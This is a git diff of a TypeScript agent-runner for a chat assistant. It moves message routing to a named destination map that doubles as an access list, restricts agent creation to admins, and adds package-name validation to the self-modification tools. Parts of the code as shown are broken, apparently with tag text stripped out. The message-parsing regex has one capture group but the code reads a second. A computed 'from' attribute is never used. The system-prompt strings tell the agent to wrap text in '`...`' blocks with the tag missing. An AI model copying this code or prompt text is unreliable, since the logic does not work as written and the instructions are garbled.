diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts
index 3d2f4118e..2d03b3772 100644
--- a/container/agent-runner/src/db/messages-out.ts
+++ b/container/agent-runner/src/db/messages-out.ts
@@ -103,6 +103,25 @@ export function getMessageIdBySeq(seq: number): string | null {
return outRow.id;
}
+/**
+ * Look up the routing fields for a message by seq (for edit/reaction targeting).
+ * Returns the channel_type, platform_id, thread_id of the referenced message.
+ */
+export function getRoutingBySeq(
+ seq: number,
+): { channel_type: string | null; platform_id: string | null; thread_id: string | null } | null {
+ const inbound = getInboundDb();
+ const inRow = inbound
+ .prepare('SELECT channel_type, platform_id, thread_id FROM messages_in WHERE seq = ?')
+ .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined;
+ if (inRow) return inRow;
+
+ const outRow = getOutboundDb()
+ .prepare('SELECT channel_type, platform_id, thread_id FROM messages_out WHERE seq = ?')
+ .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined;
+ return outRow ?? null;
+}
+
/** Get undelivered messages (for host polling — reads from outbound.db). */
export function getUndeliveredMessages(): MessageOutRow[] {
return getOutboundDb()
diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts
new file mode 100644
index 000000000..663dcd48d
--- /dev/null
+++ b/container/agent-runner/src/destinations.ts
@@ -0,0 +1,91 @@
+/**
+ * Destination map loaded at container startup from
+ * /workspace/.nanoclaw-destinations.json (written by the host on wake).
+ *
+ * The map is BOTH the routing table and the ACL — if a name/target
+ * isn't in here, the agent can't reach it.
+ */
+import fs from 'fs';
+
+export interface DestinationEntry {
+ name: string;
+ displayName: string;
+ type: 'channel' | 'agent';
+ channelType?: string;
+ platformId?: string;
+ agentGroupId?: string;
+}
+
+const DEST_FILE = '/workspace/.nanoclaw-destinations.json';
+
+let cache: DestinationEntry[] = [];
+
+export function loadDestinations(): void {
+ try {
+ if (!fs.existsSync(DEST_FILE)) {
+ cache = [];
+ return;
+ }
+ const raw = fs.readFileSync(DEST_FILE, 'utf-8');
+ const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] };
+ cache = Array.isArray(parsed.destinations) ? parsed.destinations : [];
+ } catch (err) {
+ console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`);
+ cache = [];
+ }
+}
+
+export function getAllDestinations(): DestinationEntry[] {
+ return cache;
+}
+
+/** Test-only: inject destinations without touching the filesystem. */
+export function setDestinationsForTest(destinations: DestinationEntry[]): void {
+ cache = destinations;
+}
+
+export function findByName(name: string): DestinationEntry | undefined {
+ return cache.find((d) => d.name === name);
+}
+
+/**
+ * Reverse lookup: given routing fields from an inbound message, find
+ * which destination they correspond to (what does this agent call the sender?).
+ */
+export function findByRouting(
+ channelType: string | null | undefined,
+ platformId: string | null | undefined,
+): DestinationEntry | undefined {
+ if (!channelType || !platformId) return undefined;
+ if (channelType === 'agent') {
+ return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId);
+ }
+ return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId);
+}
+
+/** Generate the system-prompt addendum describing destinations and syntax. */
+export function buildSystemPromptAddendum(): string {
+ if (cache.length === 0) {
+ return [
+ '## Sending messages',
+ '',
+ 'You currently have no configured destinations. You cannot send messages until an admin wires one up.',
+ ].join('\n');
+ }
+
+ const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', ''];
+ for (const d of cache) {
+ const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : '';
+ lines.push(`- \`${d.name}\`${label}`);
+ }
+ lines.push('');
+ lines.push('To send a message, wrap it in a `...` block.');
+ lines.push('You can include multiple `` blocks in one response to send to multiple destinations.');
+ lines.push('Text outside of `` blocks is scratchpad — logged but not sent anywhere.');
+ lines.push('Use `...` to make scratchpad intent explicit.');
+ lines.push('');
+ lines.push(
+ 'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool with the `to` parameter set to a destination name.',
+ );
+ return lines.join('\n');
+}
diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts
index 87be2d609..eca2b4d0e 100644
--- a/container/agent-runner/src/formatter.ts
+++ b/container/agent-runner/src/formatter.ts
@@ -1,3 +1,4 @@
+import { findByRouting } from './destinations.js';
import type { MessageInRow } from './db/messages-in.js';
/**
@@ -123,7 +124,19 @@ function formatSingleChat(msg: MessageInRow): string {
const idAttr = msg.seq != null ? ` id="${msg.seq}"` : '';
const replyPrefix = formatReplyContext(content.replyTo);
const attachmentsSuffix = formatAttachments(content.attachments);
- return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`;
+
+ // Look up the destination name for the origin (reverse map lookup).
+ // If not found, fall back to a raw channel:platform_id marker so nothing
+ // gets silently dropped — this should only happen if the destination was
+ // removed between when the message was received and when it's being processed.
+ const fromDest = findByRouting(msg.channel_type, msg.platform_id);
+ const fromAttr = fromDest
+ ? ` from="${escapeXml(fromDest.name)}"`
+ : msg.channel_type || msg.platform_id
+ ? ` from="unknown:${escapeXml(msg.channel_type || '')}:${escapeXml(msg.platform_id || '')}"`
+ : '';
+
+ return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`;
}
function formatTaskMessage(msg: MessageInRow): string {
diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts
index 1513f5c39..8bada5b05 100644
--- a/container/agent-runner/src/index.ts
+++ b/container/agent-runner/src/index.ts
@@ -26,6 +26,7 @@ import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
+import { buildSystemPromptAddendum, loadDestinations } from './destinations.js';
import { createProvider, type ProviderName } from './providers/factory.js';
import { runPollLoop } from './poll-loop.js';
@@ -44,12 +45,17 @@ async function main(): Promise {
const provider = createProvider(providerName, { assistantName });
- // Load global CLAUDE.md as additional system context
+ // Load destination map (written by host on every wake)
+ loadDestinations();
+
+ // Load global CLAUDE.md as additional system context, then append destinations addendum
let systemPrompt: string | undefined;
if (fs.existsSync(GLOBAL_CLAUDE_MD)) {
systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8');
log('Loaded global CLAUDE.md');
}
+ const addendum = buildSystemPromptAddendum();
+ systemPrompt = systemPrompt ? `${systemPrompt}\n\n${addendum}` : addendum;
// Discover additional directories mounted at /workspace/extra/*
const additionalDirectories: string[] = [];
diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts
index ae76e87b6..90aae2b5e 100644
--- a/container/agent-runner/src/integration.test.ts
+++ b/container/agent-runner/src/integration.test.ts
@@ -1,6 +1,7 @@
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js';
+import { setDestinationsForTest } from './destinations.js';
import { getUndeliveredMessages } from './db/messages-out.js';
import { getPendingMessages } from './db/messages-in.js';
import { MockProvider } from './providers/mock.js';
@@ -8,10 +9,21 @@ import { runPollLoop } from './poll-loop.js';
beforeEach(() => {
initTestSessionDb();
+ // Provide a test destination map so output parsing can resolve "discord-test" → routing
+ setDestinationsForTest([
+ {
+ name: 'discord-test',
+ displayName: 'Discord Test',
+ type: 'channel',
+ channelType: 'discord',
+ platformId: 'chan-1',
+ },
+ ]);
});
afterEach(() => {
closeSessionDb();
+ setDestinationsForTest([]);
});
function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) {
@@ -27,7 +39,7 @@ describe('poll loop integration', () => {
it('should pick up a message, process it, and write a response', async () => {
insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' });
- const provider = new MockProvider(() => '42');
+ const provider = new MockProvider(() => '42');
const controller = new AbortController();
const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000);
@@ -40,7 +52,6 @@ describe('poll loop integration', () => {
expect(JSON.parse(out[0].content).text).toBe('42');
expect(out[0].platform_id).toBe('chan-1');
expect(out[0].channel_type).toBe('discord');
- expect(out[0].thread_id).toBe('thread-1');
expect(out[0].in_reply_to).toBe('m1');
// Input message should be acked (not pending)
@@ -54,7 +65,7 @@ describe('poll loop integration', () => {
insertMessage('m1', { sender: 'Alice', text: 'Hello' });
insertMessage('m2', { sender: 'Bob', text: 'World' });
- const provider = new MockProvider(() => 'Got both messages');
+ const provider = new MockProvider(() => 'Got both messages');
const controller = new AbortController();
const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000);
@@ -69,7 +80,7 @@ describe('poll loop integration', () => {
});
it('should process messages arriving after loop starts', async () => {
- const provider = new MockProvider(() => 'Processed');
+ const provider = new MockProvider(() => 'Processed');
const controller = new AbortController();
const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000);
diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts
index a9443defa..55fceace6 100644
--- a/container/agent-runner/src/mcp-tools/agents.ts
+++ b/container/agent-runner/src/mcp-tools/agents.ts
@@ -1,7 +1,13 @@
/**
- * Agent-to-agent MCP tools: send_to_agent, create_agent.
+ * Agent management MCP tools: create_agent.
+ *
+ * send_to_agent was removed — sending to another agent is now just
+ * send_message(to="agent-name") since agents and channels share the
+ * unified destinations namespace.
+ *
+ * create_agent is admin-only. Non-admin containers never see this tool
+ * (see mcp-tools/index.ts). The host re-checks permission on receive.
*/
-import { findQuestionResponse, markCompleted } from '../db/messages-in.js';
import { writeMessageOut } from '../db/messages-out.js';
import type { McpToolDefinition } from './types.js';
@@ -21,55 +27,16 @@ function err(text: string) {
return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true };
}
-function sleep(ms: number): Promise {
- return new Promise((resolve) => setTimeout(resolve, ms));
-}
-
-export const sendToAgent: McpToolDefinition = {
- tool: {
- name: 'send_to_agent',
- description: 'Send a message to another agent group.',
- inputSchema: {
- type: 'object' as const,
- properties: {
- agentGroupId: { type: 'string', description: 'Target agent group ID' },
- text: { type: 'string', description: 'Message content' },
- sessionId: { type: 'string', description: 'Target specific session (optional)' },
- },
- required: ['agentGroupId', 'text'],
- },
- },
- async handler(args) {
- const agentGroupId = args.agentGroupId as string;
- const text = args.text as string;
- if (!agentGroupId || !text) return err('agentGroupId and text are required');
-
- const id = generateId();
-
- writeMessageOut({
- id,
- kind: 'chat',
- channel_type: 'agent',
- platform_id: agentGroupId,
- thread_id: (args.sessionId as string) || null,
- content: JSON.stringify({ text }),
- });
-
- log(`send_to_agent: ${id} → ${agentGroupId}`);
- return ok(`Message sent to agent ${agentGroupId} (id: ${id})`);
- },
-};
-
export const createAgent: McpToolDefinition = {
tool: {
name: 'create_agent',
- description: 'Create a new agent group dynamically. Returns the new agent group ID.',
+ description:
+ 'Create a new child agent with a given name. The name you choose becomes the destination name you use to message this agent. Admin-only. Fire-and-forget — you will receive a notification when the agent is created.',
inputSchema: {
type: 'object' as const,
properties: {
- name: { type: 'string', description: 'Agent display name' },
- instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' },
- folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' },
+ name: { type: 'string', description: 'Human-readable name (also becomes your destination name for this agent)' },
+ instructions: { type: 'string', description: 'CLAUDE.md content for the new agent (personality, role, instructions)' },
},
required: ['name'],
},
@@ -79,7 +46,6 @@ export const createAgent: McpToolDefinition = {
if (!name) return err('name is required');
const requestId = generateId();
-
writeMessageOut({
id: requestId,
kind: 'system',
@@ -88,28 +54,12 @@ export const createAgent: McpToolDefinition = {
requestId,
name,
instructions: (args.instructions as string) || null,
- folder: (args.folder as string) || null,
}),
});
log(`create_agent: ${requestId} → "${name}"`);
-
- // Poll for host response
- const deadline = Date.now() + 30_000;
- while (Date.now() < deadline) {
- const response = findQuestionResponse(requestId);
- if (response) {
- const parsed = JSON.parse(response.content);
- markCompleted([response.id]);
- if (parsed.status === 'success') {
- return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`);
- }
- return err(parsed.result?.error || 'Failed to create agent');
- }
- await sleep(1000);
- }
- return err('Timed out waiting for agent creation response');
+ return ok(`Creating agent "${name}". You will be notified when it is ready.`);
},
};
-export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent];
+export const agentTools: McpToolDefinition[] = [createAgent];
diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts
index c607c6c07..d36b0299f 100644
--- a/container/agent-runner/src/mcp-tools/core.ts
+++ b/container/agent-runner/src/mcp-tools/core.ts
@@ -1,10 +1,16 @@
/**
* Core MCP tools: send_message, send_file, edit_message, add_reaction.
+ *
+ * All outbound tools resolve destinations via the local destination map
+ * (see destinations.ts). Agents reference destinations by name; the map
+ * translates name → routing tuple. Permission enforcement happens on
+ * the host side in delivery.ts via the agent_destinations table.
*/
import fs from 'fs';
import path from 'path';
-import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js';
+import { findByName, getAllDestinations } from '../destinations.js';
+import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js';
import type { McpToolDefinition } from './types.js';
function log(msg: string): void {
@@ -15,14 +21,6 @@ function generateId(): string {
return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
}
-function routing() {
- return {
- platform_id: process.env.NANOCLAW_PLATFORM_ID || null,
- channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null,
- thread_id: process.env.NANOCLAW_THREAD_ID || null,
- };
-}
-
function ok(text: string) {
return { content: [{ type: 'text' as const, text }] };
}
@@ -31,68 +29,89 @@ function err(text: string) {
return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true };
}
+function destinationList(): string {
+ const all = getAllDestinations();
+ if (all.length === 0) return '(none)';
+ return all.map((d) => d.name).join(', ');
+}
+
+function resolveRouting(
+ to: string,
+): { channel_type: string; platform_id: string } | { error: string } {
+ const dest = findByName(to);
+ if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` };
+ if (dest.type === 'channel') {
+ return { channel_type: dest.channelType!, platform_id: dest.platformId! };
+ }
+ return { channel_type: 'agent', platform_id: dest.agentGroupId! };
+}
+
export const sendMessage: McpToolDefinition = {
tool: {
name: 'send_message',
- description: 'Send a chat message to the current conversation or a specified destination.',
+ description:
+ 'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).',
inputSchema: {
type: 'object' as const,
properties: {
+ to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' },
text: { type: 'string', description: 'Message content' },
- channel: { type: 'string', description: 'Target channel type (default: reply to origin)' },
- platformId: { type: 'string', description: 'Target platform ID' },
- threadId: { type: 'string', description: 'Target thread ID' },
},
- required: ['text'],
+ required: ['to', 'text'],
},
},
async handler(args) {
+ const to = args.to as string;
const text = args.text as string;
- if (!text) return err('text is required');
+ if (!to || !text) return err('to and text are required');
+
+ const routing = resolveRouting(to);
+ if ('error' in routing) return err(routing.error);
const id = generateId();
- const r = routing();
-
const seq = writeMessageOut({
id,
kind: 'chat',
- platform_id: (args.platformId as string) || r.platform_id,
- channel_type: (args.channel as string) || r.channel_type,
- thread_id: (args.threadId as string) || r.thread_id,
+ platform_id: routing.platform_id,
+ channel_type: routing.channel_type,
+ thread_id: null,
content: JSON.stringify({ text }),
});
- log(`send_message: #${seq} ${id} → ${r.channel_type || 'default'}/${r.platform_id || 'default'}`);
- return ok(`Message sent (id: ${seq})`);
+ log(`send_message: #${seq} → ${to}`);
+ return ok(`Message sent to ${to} (id: ${seq})`);
},
};
export const sendFile: McpToolDefinition = {
tool: {
name: 'send_file',
- description: 'Send a file to the current conversation.',
+ description: 'Send a file to a named destination.',
inputSchema: {
type: 'object' as const,
properties: {
+ to: { type: 'string', description: 'Destination name' },
path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' },
text: { type: 'string', description: 'Optional accompanying message' },
filename: { type: 'string', description: 'Display name (default: basename of path)' },
},
- required: ['path'],
+ required: ['to', 'path'],
},
},
async handler(args) {
+ const to = args.to as string;
const filePath = args.path as string;
- if (!filePath) return err('path is required');
+ if (!to || !filePath) return err('to and path are required');
+
+ const routing = resolveRouting(to);
+ if ('error' in routing) return err(routing.error);
const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath);
if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`);
const id = generateId();
const filename = (args.filename as string) || path.basename(resolvedPath);
- const r = routing();
- // Copy file to outbox
const outboxDir = path.join('/workspace/outbox', id);
fs.mkdirSync(outboxDir, { recursive: true });
fs.copyFileSync(resolvedPath, path.join(outboxDir, filename));
@@ -100,21 +119,21 @@ export const sendFile: McpToolDefinition = {
writeMessageOut({
id,
kind: 'chat',
- platform_id: r.platform_id,
- channel_type: r.channel_type,
- thread_id: r.thread_id,
+ platform_id: routing.platform_id,
+ channel_type: routing.channel_type,
+ thread_id: null,
content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }),
});
- log(`send_file: ${id} → ${filename}`);
- return ok(`File sent (id: ${id}, filename: ${filename})`);
+ log(`send_file: ${id} → ${to} (${filename})`);
+ return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`);
},
};
export const editMessage: McpToolDefinition = {
tool: {
name: 'edit_message',
- description: 'Edit a previously sent message.',
+ description: 'Edit a previously sent message. Targets the same destination the original message was sent to.',
inputSchema: {
type: 'object' as const,
properties: {
@@ -132,15 +151,18 @@ export const editMessage: McpToolDefinition = {
const platformId = getMessageIdBySeq(seq);
if (!platformId) return err(`Message #${seq} not found`);
- const id = generateId();
- const r = routing();
+ const routing = getRoutingBySeq(seq);
+ if (!routing || !routing.channel_type || !routing.platform_id) {
+ return err(`Cannot determine destination for message #${seq}`);
+ }
+ const id = generateId();
writeMessageOut({
id,
kind: 'chat',
- platform_id: r.platform_id,
- channel_type: r.channel_type,
- thread_id: r.thread_id,
+ platform_id: routing.platform_id,
+ channel_type: routing.channel_type,
+ thread_id: routing.thread_id,
content: JSON.stringify({ operation: 'edit', messageId: platformId, text }),
});
@@ -170,15 +192,18 @@ export const addReaction: McpToolDefinition = {
const platformId = getMessageIdBySeq(seq);
if (!platformId) return err(`Message #${seq} not found`);
- const id = generateId();
- const r = routing();
+ const routing = getRoutingBySeq(seq);
+ if (!routing || !routing.channel_type || !routing.platform_id) {
+ return err(`Cannot determine destination for message #${seq}`);
+ }
+ const id = generateId();
writeMessageOut({
id,
kind: 'chat',
- platform_id: r.platform_id,
- channel_type: r.channel_type,
- thread_id: r.thread_id,
+ platform_id: routing.platform_id,
+ channel_type: routing.channel_type,
+ thread_id: routing.thread_id,
content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }),
});
diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts
index f98143d30..b0116284d 100644
--- a/container/agent-runner/src/mcp-tools/index.ts
+++ b/container/agent-runner/src/mcp-tools/index.ts
@@ -9,6 +9,7 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';
import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js';
+import { loadDestinations } from '../destinations.js';
import type { McpToolDefinition } from './types.js';
import { coreTools } from './core.js';
import { schedulingTools } from './scheduling.js';
@@ -20,7 +21,23 @@ function log(msg: string): void {
console.error(`[mcp-tools] ${msg}`);
}
-const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools];
+// Load the destination map — this process is spawned fresh for each container
+// wake, so the map file is always fresh (written by the host before spawn).
+loadDestinations();
+
+// Only admin agents get the create_agent tool. Non-admins never see it in the
+// listTools response; the host also re-checks permission on receive as defense
+// in depth (see delivery.ts create_agent handler).
+const isAdmin = process.env.NANOCLAW_IS_ADMIN === '1';
+const conditionalAgentTools = isAdmin ? agentTools : [];
+
+const allTools: McpToolDefinition[] = [
+ ...coreTools,
+ ...schedulingTools,
+ ...interactiveTools,
+ ...conditionalAgentTools,
+ ...selfModTools,
+];
const toolMap = new Map();
for (const t of allTools) {
diff --git a/container/agent-runner/src/mcp-tools/self-mod.ts b/container/agent-runner/src/mcp-tools/self-mod.ts
index 9a0ef18da..0a0d8e308 100644
--- a/container/agent-runner/src/mcp-tools/self-mod.ts
+++ b/container/agent-runner/src/mcp-tools/self-mod.ts
@@ -1,11 +1,13 @@
/**
* Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild.
*
- * These tools request changes to the agent's container configuration.
- * install_packages and request_rebuild require admin approval.
- * add_mcp_server takes effect on next container restart without approval.
+ * All three are fire-and-forget — the tool writes a system action row and
+ * returns immediately. The host processes the request (including admin
+ * approval) and notifies the agent via a chat message when complete.
+ *
+ * Package names are sanitized here at the tool boundary AND re-validated on
+ * the host side (defense in depth).
*/
-import { findQuestionResponse, markCompleted } from '../db/messages-in.js';
import { writeMessageOut } from '../db/messages-out.js';
import type { McpToolDefinition } from './types.js';
@@ -25,37 +27,20 @@ function err(text: string) {
return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true };
}
-function sleep(ms: number): Promise {
- return new Promise((resolve) => setTimeout(resolve, ms));
-}
-
-async function pollForResponse(requestId: string, timeoutMs: number) {
- const deadline = Date.now() + timeoutMs;
- while (Date.now() < deadline) {
- const response = findQuestionResponse(requestId);
- if (response) {
- const parsed = JSON.parse(response.content);
- markCompleted([response.id]);
- if (parsed.status === 'success') {
- return ok(JSON.stringify(parsed.result || 'Success'));
- }
- return err(parsed.result?.error || parsed.selectedOption || 'Request denied');
- }
- await sleep(2000);
- }
- return err(`Request timed out after ${timeoutMs / 1000}s`);
-}
+const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/;
+const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/;
+const MAX_PACKAGES = 20;
export const installPackages: McpToolDefinition = {
tool: {
name: 'install_packages',
description:
- 'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.',
+ 'Request installation of apt or npm packages. Requires admin approval. Fire-and-forget: you will receive a notification when the request is approved or rejected. After approval, call request_rebuild to apply the changes.',
inputSchema: {
type: 'object' as const,
properties: {
- apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' },
- npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' },
+ apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install (names only, no version specs or flags)' },
+ npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally (names only, no version specs)' },
reason: { type: 'string', description: 'Why these packages are needed' },
},
},
@@ -64,6 +49,12 @@ export const installPackages: McpToolDefinition = {
const apt = (args.apt as string[]) || [];
const npm = (args.npm as string[]) || [];
if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required');
+ if (apt.length + npm.length > MAX_PACKAGES) return err(`Maximum ${MAX_PACKAGES} packages per request`);
+
+ const invalidApt = apt.find((p) => !APT_RE.test(p));
+ if (invalidApt) return err(`Invalid apt package name: "${invalidApt}". Only lowercase letters, digits, and ._+- allowed.`);
+ const invalidNpm = npm.find((p) => !NPM_RE.test(p));
+ if (invalidNpm) return err(`Invalid npm package name: "${invalidNpm}". No version specs or shell characters.`);
const requestId = generateId();
writeMessageOut({
@@ -71,7 +62,6 @@ export const installPackages: McpToolDefinition = {
kind: 'system',
content: JSON.stringify({
action: 'install_packages',
- requestId,
apt,
npm,
reason: (args.reason as string) || '',
@@ -79,7 +69,7 @@ export const installPackages: McpToolDefinition = {
});
log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`);
- return await pollForResponse(requestId, 300_000);
+ return ok(`Package install request submitted. You will be notified when admin approves or rejects.`);
},
};
@@ -87,7 +77,7 @@ export const addMcpServer: McpToolDefinition = {
tool: {
name: 'add_mcp_server',
description:
- "Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).",
+ "Request adding an MCP server to this agent's configuration. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new server.",
inputSchema: {
type: 'object' as const,
properties: {
@@ -110,7 +100,6 @@ export const addMcpServer: McpToolDefinition = {
kind: 'system',
content: JSON.stringify({
action: 'add_mcp_server',
- requestId,
name,
command,
args: (args.args as string[]) || [],
@@ -119,7 +108,7 @@ export const addMcpServer: McpToolDefinition = {
});
log(`add_mcp_server: ${requestId} → "${name}" (${command})`);
- return await pollForResponse(requestId, 30_000);
+ return ok(`MCP server request submitted. You will be notified when admin approves or rejects.`);
},
};
@@ -127,7 +116,7 @@ export const requestRebuild: McpToolDefinition = {
tool: {
name: 'request_rebuild',
description:
- 'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.',
+ 'Request a container rebuild to apply pending package installations. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new image on the next message.',
inputSchema: {
type: 'object' as const,
properties: {
@@ -142,13 +131,12 @@ export const requestRebuild: McpToolDefinition = {
kind: 'system',
content: JSON.stringify({
action: 'request_rebuild',
- requestId,
reason: (args.reason as string) || '',
}),
});
log(`request_rebuild: ${requestId}`);
- return await pollForResponse(requestId, 300_000);
+ return ok(`Rebuild request submitted. You will be notified when admin approves or rejects.`);
},
};
diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts
index 149083ead..6b358de14 100644
--- a/container/agent-runner/src/poll-loop.ts
+++ b/container/agent-runner/src/poll-loop.ts
@@ -1,3 +1,4 @@
+import { findByName } from './destinations.js';
import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js';
import { writeMessageOut } from './db/messages-out.js';
import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js';
@@ -143,9 +144,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise {
log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`);
- // Set routing context as env vars for MCP tools
- setRoutingEnv(routing, config.env);
-
const query = config.provider.query({
prompt,
sessionId,
@@ -247,9 +245,6 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config:
log(`Pushing ${newMessages.length} follow-up message(s) into active query`);
query.push(prompt);
- const newRouting = extractRouting(newMessages);
- setRoutingEnv(newRouting, config.env);
-
markCompleted(newIds);
lastEventTime = Date.now(); // new input counts as activity
}
@@ -270,15 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config:
if (event.type === 'init') {
querySessionId = event.sessionId;
} else if (event.type === 'result' && event.text) {
- writeMessageOut({
- id: generateId(),
- in_reply_to: routing.inReplyTo,
- kind: routing.channelType ? 'chat' : 'chat',
- platform_id: routing.platformId,
- channel_type: routing.channelType,
- thread_id: routing.threadId,
- content: JSON.stringify({ text: event.text }),
- });
+ dispatchResultText(event.text, routing);
}
}
} finally {
@@ -306,10 +293,66 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void {
}
}
-function setRoutingEnv(routing: RoutingContext, env: Record): void {
- env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined;
- env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined;
- env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined;
+/**
+ * Parse the agent's final text for ... blocks
+ * and dispatch each one to its resolved destination. Text outside of blocks
+ * (including ...) is scratchpad — logged but not sent.
+ *
+ * If the agent emits zero blocks AND non-empty text, log a warning:
+ * the agent produced output with no recipient. That's usually a bug in the
+ * agent — the system prompt tells it to wrap user-visible text in blocks.
+ */
+function dispatchResultText(text: string, routing: RoutingContext): void {
+ const MESSAGE_RE = /([\s\S]*?)<\/message>/g;
+
+ let match: RegExpExecArray | null;
+ let sent = 0;
+ let lastIndex = 0;
+ const scratchpadParts: string[] = [];
+
+ while ((match = MESSAGE_RE.exec(text)) !== null) {
+ if (match.index > lastIndex) {
+ scratchpadParts.push(text.slice(lastIndex, match.index));
+ }
+ const toName = match[1];
+ const body = match[2].trim();
+ lastIndex = MESSAGE_RE.lastIndex;
+
+ const dest = findByName(toName);
+ if (!dest) {
+ log(`Unknown destination in , dropping block`);
+ scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`);
+ continue;
+ }
+
+ const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!;
+ const channelType = dest.type === 'channel' ? dest.channelType! : 'agent';
+ writeMessageOut({
+ id: generateId(),
+ in_reply_to: routing.inReplyTo,
+ kind: 'chat',
+ platform_id: platformId,
+ channel_type: channelType,
+ thread_id: null,
+ content: JSON.stringify({ text: body }),
+ });
+ sent++;
+ }
+ if (lastIndex < text.length) {
+ scratchpadParts.push(text.slice(lastIndex));
+ }
+
+ const scratchpad = scratchpadParts
+ .join('')
+ .replace(/[\s\S]*?<\/internal>/g, '')
+ .trim();
+ if (scratchpad) {
+ log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`);
+ }
+
+ if (sent === 0 && text.trim()) {
+ log(`WARNING: agent output had no blocks — nothing was sent`);
+ }
}
function sleep(ms: number): Promise {
diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md
index 13bf4a875..c95469e72 100644
--- a/groups/global/CLAUDE.md
+++ b/groups/global/CLAUDE.md
@@ -14,13 +14,27 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c
## Communication
-Your output is sent to the user or group. Be concise — every message costs the reader's attention.
+Be concise — every message costs the reader's attention.
-Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work:
+### Named destinations
